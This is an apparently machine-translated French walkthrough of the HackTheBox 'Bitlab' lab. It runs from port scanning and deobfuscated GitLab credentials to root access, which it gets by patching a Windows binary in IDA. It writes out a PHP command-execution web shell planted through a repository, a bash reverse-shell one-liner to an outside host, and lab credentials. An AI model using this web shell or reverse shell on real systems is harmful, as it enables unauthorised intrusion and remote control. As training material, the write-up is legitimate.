Dans cet article, je vais commencer à publier des solutions envoyées pour
un traitement ultérieur à partir du site
HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous allons traiter d'un peu d'obscurcissement JavaScript, charger la porte dérobée via le référentiel Git et déboguer l'application 32.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles
et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Intelligence
Balayage de port
Cette machine a une adresse IP de 10.10.10.114, que j'ajoute à / etc / hosts.
10.10.10.114 bitlab.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

Ensuite, vous devez collecter plus d'informations sur les ports que nous connaissons.
nmap -A bitlab.htb -p22,80

Comme indiqué dans le rapport nmap, SSH et un serveur Web s'exécutent sur l'hôte. Et sur le serveur Web, il y a robots.txt. Après avoir parcouru les répertoires de cette liste, nous notons que gitlab fonctionne et qu'il existe un répertoire d'aide non indexé.

En allant à la page des signets, nous avons plusieurs liens.

Js
Tous pointent vers le site d'un produit, sauf le dernier, qui ne contient pas d'adresse, mais un code JS.

Qu'est-ce que ce code a obscurci.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Pour obtenir un code plus lisible, vous pouvez utiliser le
site suivant .

Après un petit raffinement du code, nous obtenons les instructions suivantes.
document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";
Git
Avec ces données d'authentification, nous sommes autorisés dans gitlab. On y trouve deux profils.

Vous pouvez également trouver un projet dans lequel il existe une connexion à la base de données, dans le code je présente toutes les données pour la connexion.

En vérifiant le profil, nous ne trouvons rien d'intéressant.

Deployer n'a que du code php.

À partir de ce code, il devient clair que si nous plaçons un fichier dans le profil, il sera déployé sur le serveur.
Point d'entrée
Nous devons placer une porte dérobée php. Par exemple, celui qui recevra et exécutera les commandes.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Pour ce faire, ouvrez Profil et créez un nouveau fichier.


Et après avoir ajouté notre fichier apparaîtra dans le référentiel.

Nous testons maintenant la porte dérobée.

Maintenant, nous obtenons un shell complet.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

Et nous voyons la connexion inverse à notre hôte.

UTILISATEUR
Une fois sur l'hôte, il est impératif de vérifier les données achetées plus tôt. Ce sont les données pour accéder à la base de données.
Ouverture interactive de l'interpréteur PHP. Nous utilisons le code trouvé et regardons les données trouvées. Mot de passe utilisateur en base64, décodez-le.

Nous découvrons donc le mot de passe, qui peut apparemment se connecter via SSH. Mais cela n'a pas fonctionné, car base64 est le mot de passe)).

RACINE
En regardant autour de la voiture, nous trouvons un fichier exe dans le répertoire personnel de l'utilisateur.

Nous le copions sur notre hôte pour analyse.
scp clave@10.10.10.114:~/RemoteConnection.exe .
Ensuite, ouvrez le fichier dans IDA Pro. En faisant défiler la fonction principale main, vous pouvez trouver une comparaison de la variable avec le nom d'utilisateur et créer un processus avec putty - un programme pour les connexions réseau.

Nous pouvons supposer que la connexion se produit avec la fourniture de données d'authentification, et nous devons les trouver. Les données de connexion seront transmises en tant que paramètre, c'est-à-dire variable v3.
Vous pouvez voir la ligne terminée pendant le débogage, mais dans l'IDA, le fichier 32 bits se bloque. En déboguant étape par étape, nous comprenons que cela se produit après avoir appelé GetUserNameW. Nous procédons comme suit.
Mettez BP sur le fragment de comparaison de noms.

Maintenant, nous mettons BP avant de charger les paramètres de la fonction GetUserNameW.

Exécutez le programme dans le débogueur. Le débogage s'arrête avant d'appeler la fonction dont nous avons besoin.

Maintenant, corrigez le code. Au lieu de charger les paramètres et d'appeler la fonction, vous devez mettre l'instruction NOP. J'utilise le plugin Keypatch pour cela.

Maintenant, le code ressemble à ceci.

Continuons à déboguer le programme pour qu'il arrête de comparer le nom. À ce stade, l'adresse de la chaîne de paramètres sera déjà chargée dans le registre EAX pour être transmise en tant que paramètre ShellExecuteW.

Cliquez maintenant sur la flèche (sauter dans le démontage) à côté du registre EAX. Cela vous permettra d'accéder à l'adresse depuis EAX dans la fenêtre principale de l'IDA.

Cette adresse contient la chaîne de paramètres. Comme vous pouvez le voir, il contient le texte symétriquement correct "-ssh root ...". Mais chaque caractère est représenté par 2 octets. Pour collecter facilement la chaîne, appuyez sur Alt + A.

Et dans cette fenêtre, sélectionnez Unicode C-Style (16 bits). Ensuite, nous observons la chaîne correctement assemblée.

Cette ligne contient le mot de passe root. Nous nous connectons via ssh et récupérons le jeton.

Vous pouvez nous rejoindre sur
Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.